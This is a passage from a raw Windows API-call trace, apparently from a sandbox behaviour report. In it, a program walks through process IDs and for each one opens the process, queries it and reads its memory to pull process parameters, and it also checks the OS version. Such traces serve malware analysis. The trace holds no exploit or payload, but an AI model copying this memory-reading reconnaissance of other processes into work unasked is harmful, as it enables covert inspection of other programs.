ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0265.167] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x380018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0265.168] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0265.168] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x501cc0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0265.168] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5018f8, lpBuffer=0x2dc22fc240, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0265.169] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0265.171] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0265.171] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x380020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0265.171] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5012e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0265.171] malloc (_Size=0x64) returned 0x20abc280840 [0265.171] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x501954, lpBuffer=0x20abc280840, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0265.172] free (_Block=0x20abc280840) [0265.173] CloseHandle (hObject=0x16c) returned 1 [0265.173] _ui64tow_s (in: _Value=0xf9c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3996") returned 0x0 [0265.177] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3996") returned 4 [0265.179] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0265.179] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0265.259] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf9c) returned 0x16c [0265.260] GetLastError () returned 0x0 [0265.261] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0265.261] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3fc018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0265.261] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0265.261] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x521cf0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0265.262] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5218f8, lpBuffer=0x2dc22fc240, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0265.263] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0265.264] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0265.264] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3fc020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0265.265] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5212e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0265.265] malloc (_Size=0x72) returned 0x20abc2831b0 [0265.265] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x521962, lpBuffer=0x20abc2831b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0265.266] free (_Block=0x20abc2831b0) [0265.266] CloseHandle (hObject=0x16c) returned 1 [0265.267] _ui64tow_s (in: _Value=0xfb0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4016") returned 0x0 [0265.271] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4016") returned 4 [0265.272] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0265.272] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0265.288] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfb0) returned 0x16c [0265.288] GetLastError () returned 0x0 [0265.290] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0265.290] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x211018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0265.290] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0265.290] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x581d60, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0265.290] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x581958, lpBuffer=0x2dc22fc240, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0265.292] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0265.388] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0265.388] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x211020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0265.388] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x581340, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0265.388] malloc (_Size=0x78) returned 0x20abc282120 [0265.389] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5819c8, lpBuffer=0x20abc282120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0265.389] free (_Block=0x20abc282120) [0265.390] CloseHandle (hObject=0x16c) returned 1 [0265.390] _ui64tow_s (in: _Value=0xfb8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4024") returned 0x0 [0265.395] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4024") returned 4 [0265.396] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0265.396] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0265.412] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfb8) returned 0x16c [0265.412] GetLastError () returned 0x0 [0265.414] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0265.414] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x214018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0265.414] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0265.414] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x451cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0265.414] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4518f8, lpBuffer=0x2dc22fc240, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0265.416] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0265.417] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0265.418] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x214020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0265.418] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4512e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0265.418] malloc (_Size=0x6a) returned 0x20abc2831b0 [0265.418] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x45195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0265.419] free (_Block=0x20abc2831b0) [0265.419] CloseHandle (hObject=0x16c) returned 1 [0265.420] _ui64tow_s (in: _Value=0xfc4, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4036") returned 0x0 [0265.424] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4036") returned 4 [0265.426] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0265.426] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0265.521] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfc4) returned 0x16c [0265.521] GetLastError () returned 0x0 [0265.522] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0265.522] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x377018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0265.522] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0265.522] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x551cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0265.522] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5518f8, lpBuffer=0x2dc22fc240, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0265.524] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0265.525] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0265.525] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x377020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0265.525] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5512e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0265.526] malloc (_Size=0x6a) returned 0x20abc2831b0 [0265.526] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x55195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0265.526] free (_Block=0x20abc2831b0) [0265.528] CloseHandle (hObject=0x16c) returned 1 [0265.528] _ui64tow_s (in: _Value=0xfd4, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4052") returned 0x0 [0265.532] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4052") returned 4 [0265.534] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0265.534] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0265.550] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfd4) returned 0x16c [0265.550] GetLastError () returned 0x0 [0265.551] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0265.551] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2a5018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0265.551] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0265.551] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x451cf0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0265.552] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4518f8, lpBuffer=0x2dc22fc240, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0265.553] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0265.555] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0265.555] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2a5020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0265.555] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4512e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0265.555] malloc (_Size=0x74) returned 0x20abc2831b0 [0265.555] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x451964, lpBuffer=0x20abc2831b0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0265.556] free (_Block=0x20abc2831b0) [0265.557] CloseHandle (hObject=0x16c) returned 1 [0265.557] _ui64tow_s (in: _Value=0xfdc, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4060") returned 0x0 [0265.641] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4060") returned 4 [0265.642] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0265.642] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0265.658] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfdc) returned 0x16c [0265.658] GetLastError () returned 0x0 [0265.659] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0265.660] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3fa018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0265.660] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0265.660] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e1d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0265.660] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e18f8, lpBuffer=0x2dc22fc240, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0265.662] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0265.663] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0265.663] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3fa020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0265.663] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0265.664] malloc (_Size=0x7a) returned 0x20abc285c30 [0265.664] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e196a, lpBuffer=0x20abc285c30, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc285c30*, lpNumberOfBytesRead=0x0) returned 1 [0265.665] free (_Block=0x20abc285c30) [0265.665] CloseHandle (hObject=0x16c) returned 1 [0265.666] _ui64tow_s (in: _Value=0xfe8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4072") returned 0x0 [0265.670] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4072") returned 4 [0265.671] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0265.671] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0265.826] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfe8) returned 0x16c [0265.826] GetLastError () returned 0x0 [0265.827] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0265.828] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x55b018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0265.828] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0265.828] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x781ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0265.828] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7818f8, lpBuffer=0x2dc22fc240, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0265.829] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0265.830] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0265.831] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x55b020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0265.831] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7812e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0265.831] malloc (_Size=0x6e) returned 0x20abc2831b0 [0265.831] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x78195e, lpBuffer=0x20abc2831b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0265.832] free (_Block=0x20abc2831b0) [0265.833] CloseHandle (hObject=0x16c) returned 1 [0265.833] _ui64tow_s (in: _Value=0xff4, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: 